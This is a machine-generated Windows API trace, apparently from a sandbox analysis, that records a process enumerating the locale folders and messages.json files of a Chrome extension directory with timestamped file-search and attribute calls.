	[0066.300] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.300] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.300] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652468 | out: lpFileInformation=0x12652468*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1
	[0066.300] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et"), fInfoLevelId=0x0, lpFileInformation=0x126524b8 | out: lpFileInformation=0x126524b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.301] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.301] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.301] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.301] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.301] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652558 | out: lpFileInformation=0x12652558*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6)) returned 1
	[0066.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi"), fInfoLevelId=0x0, lpFileInformation=0x126525a8 | out: lpFileInformation=0x126525a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.302] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.302] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652648 | out: lpFileInformation=0x12652648*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9)) returned 1
	[0066.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil"), fInfoLevelId=0x0, lpFileInformation=0x12652698 | out: lpFileInformation=0x12652698*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.303] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.303] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.303] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.303] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.303] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652788 | out: lpFileInformation=0x12652788*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1
	[0066.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr"), fInfoLevelId=0x0, lpFileInformation=0x12652828 | out: lpFileInformation=0x12652828*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.304] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.304] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.304] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.304] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.304] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126528c8 | out: lpFileInformation=0x126528c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0066.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he"), fInfoLevelId=0x0, lpFileInformation=0x12652918 | out: lpFileInformation=0x12652918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.305] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.305] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
